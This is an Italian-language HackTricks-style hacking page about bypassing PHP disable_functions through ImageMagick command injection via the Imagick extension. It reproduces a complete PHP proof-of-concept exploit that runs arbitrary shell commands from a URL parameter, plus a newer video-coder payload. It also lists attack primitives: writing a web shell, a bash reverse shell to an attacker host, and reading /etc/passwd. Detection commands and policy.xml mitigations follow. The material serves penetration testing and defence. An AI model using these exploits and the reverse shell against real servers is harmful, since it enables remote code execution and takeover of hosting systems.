Imagick <= 3.3.0 ‑ PHP >= 5.4 disable_functions Bypass
Reading time: 5 minutes
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
La nota famiglia di bug ImageTragick (CVE-2016-3714 e altri) consente a un attaccante di accedere al binario sottostante ImageMagick tramite input MVG/SVG creati ad hoc. Quando l'estensione PHP Imagick è presente, questo può essere sfruttato per eseguire comandi shell anche se ogni funzione PHP orientata all'esecuzione è bloccata con
disable_functions
.Il PoC originale pubblicato da RicterZ (Chaitin Security Research Lab) nel maggio 2016 è riprodotto di seguito. La tecnica è ancora regolarmente riscontrata durante le audit contemporanee di PHP 7/8 perché molti fornitori di hosting condiviso compilano semplicemente PHP senza
exec
/system
ma mantengono una combinazione obsoleta di Imagick + ImageMagick.
From http://blog.safebuff.com/2016/05/06/disable-functions-bypass/
# Exploit Title : PHP Imagick disable_functions bypass
# Exploit Author: RicterZ (ricter@chaitin.com)
# Versions : Imagick <= 3.3.0 | PHP >= 5.4
# Tested on : Ubuntu 12.04 (ImageMagick 6.7.7)
# Usage : curl "http://target/exploit.php?cmd=id"
<?php
// Print the local hardening status
printf("Disable functions: %s\n", ini_get("disable_functions"));
$cmd = $_GET['cmd'] ?? 'id';
printf("Run command: %s\n====================\n", $cmd);
$tmp = tempnam('/tmp', 'pwn'); // will hold command output
$mvgs = tempnam('/tmp', 'img'); // will hold malicious MVG script
$payload = <<<EOF
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/x.jpg"|$cmd >$tmp")'
pop graphic-context
EOF;
file_put_contents($mvgs, $payload);
$img = new Imagick();
$img->readImage($mvgs); // triggers convert(1)
$img->writeImage(tempnam('/tmp', 'img'));
$img->destroy();
echo file_get_contents($tmp);
?>
Perché funziona?
Imagick::readImage()
genera in modo trasparente il binario delegate di ImageMagick (convert
/magick
).- Lo script MVG imposta il fill su un URI esterno. Quando viene iniettata una doppia virgoletta (
"
), il resto della riga viene interpretato da/bin/sh ‑c
che ImageMagick utilizza internamente → esecuzione arbitraria di shell. - Tutto avviene al di fuori dell'interprete PHP, quindi
disable_functions
, open_basedir,safe_mode
(rimossa in PHP 5.4) e simili restrizioni in-process sono completamente eluse.
Stato 2025 – è ancora rilevante
- Qualsiasi versione di Imagick che si basa su un backend vulnerabile di ImageMagick rimane sfruttabile. Nei test di laboratorio lo stesso payload funziona su PHP 8.3 con Imagick 3.7.0 e ImageMagick 7.1.0-51 compilato senza un
policy.xml
rinforzato. - Dal 2020 sono stati trovati diversi ulteriori vettori di iniezione di comandi (
video:pixel-format
,ps:
,text:
coders…). Due recenti esempi pubblici sono: - CVE-2020-29599 – iniezione di shell tramite il coder text:.
- GitHub issue #6338 (2023) – iniezione nel video: delegate.
Se il sistema operativo fornisce ImageMagick < 7.1.1-11 (o 6.x < 6.9.12-73) senza un file di policy restrittivo, lo sfruttamento è diretto.
Varianti moderne del payload
// --- Variant using the video coder discovered in 2023 ---
$exp = <<<MAGICK
push graphic-context
image over 0,0 0,0 'vid:dummy.mov" -define video:pixel-format="rgba`uname -a > /tmp/pwned`" " dummy'
pop graphic-context
MAGICK;
$img = new Imagick();
$img->readImageBlob($exp);
Altre primitive utili durante CTF / impegni reali:
- Scrittura file –
... > /var/www/html/shell.php
(scrivere web-shell al di fuori di open_basedir) - Reverse shell –
bash -c "bash -i >& /dev/tcp/attacker/4444 0>&1"
- Enumerare –
id; uname -a; cat /etc/passwd
Rilevamento rapido e enumerazione
# PHP side
php -r 'echo phpversion(), "\n"; echo Imagick::getVersion()["versionString"], "\n";'
# System side
convert -version | head -1 # ImageMagick version
convert -list policy | grep -iE 'mvg|https|video|text' # dangerous coders still enabled?
Se l'output mostra che i coders MVG
o URL
sono abilitati, il target è probabilmente sfruttabile.
Mitigazioni
- Patch/Aggiorna – Usa ImageMagick ≥ 7.1.1-11 (o l'ultima 6.x LTS) e Imagick ≥ 3.7.2.
- Rinforza
policy.xml
– disabilita esplicitamente i coders ad alto rischio:
<policy domain="coder" name="MVG" rights="none"/>
<policy domain="coder" name="MSL" rights="none"/>
<policy domain="coder" name="URL" rights="none"/>
<policy domain="coder" name="VIDEO" rights="none"/>
<policy domain="coder" name="PS" rights="none"/>
<policy domain="coder" name="TEXT" rights="none"/>
- Rimuovi l'estensione in ambienti di hosting non fidati. Nella maggior parte degli stack web
GD
oImagick
non è strettamente necessario. - Tratta
disable_functions
solo come difesa in profondità – mai come un meccanismo di sandboxing primario.
Riferimenti
- GitHub ImageMagick issue #6338 – Command injection via video:pixel-format (2023)
- CVE-2020-29599 – ImageMagick shell injection via text: coder
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.